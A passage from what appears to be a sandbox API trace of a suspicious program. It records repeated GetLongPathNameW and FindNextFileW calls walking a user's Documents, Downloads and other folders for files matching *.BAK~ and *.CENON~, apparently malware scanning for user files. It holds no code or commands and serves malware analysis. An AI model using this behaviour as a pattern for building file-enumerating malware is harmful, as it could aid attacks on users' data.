HALPmcxz\\Documents\\1Pz1V\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.195] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.196] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.196] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.196] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.197] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.197] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.197] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.197] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.197] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.197] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.197] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0042.202] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.202] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.203] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.203] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.204] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.204] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.204] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.204] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.204] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.204] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.204] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.204] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0042.208] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.209] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.209] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.210] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.210] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.211] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.211] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.211] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.211] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.211] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.211] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0042.217] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.217] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.218] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.218] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.220] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.220] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.220] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.220] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.220] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.220] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0042.226] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.226] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.227] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.227] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.228] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0042.228] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0042.228] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0042.229] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0042.235] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.235] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.236] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.236] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.237] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.237] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.237] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.237] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.237] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0042.244] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.245] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.245] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.246] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.246] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.246] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.246] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.247] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0042.252] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.253] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.254] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.254] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.255] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.255] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.255] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.255] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.255] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.255] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.255] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0042.269] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.269] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.270] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.270] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.271] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.271] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.271] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.271] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.271] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0042.272] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x74e6 [0042.281] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.282] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.283] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.283] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.292] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.293] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.294] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.294] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.300] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.300] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.301] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.301] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.310] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.310] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.311] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.311] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.318] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.318] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.319] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.319] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.327] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.327] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.328] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.329] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.336] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.337] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.338] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.338] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.346] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.346] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.347] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.347] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.352] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.352] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.353] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.353] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.359] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.359] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.363] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.363] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.369] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.369] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.370] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.370] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.375] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.375] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.376] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.376] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.381] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.382] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.382] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.383] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.395] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.395] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.396] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.396] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.397] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x74e6 [0042.403] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.403] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.405] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.405] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.413] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.413] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.414] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.414] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.420] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.420] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.421] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.421] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.428] 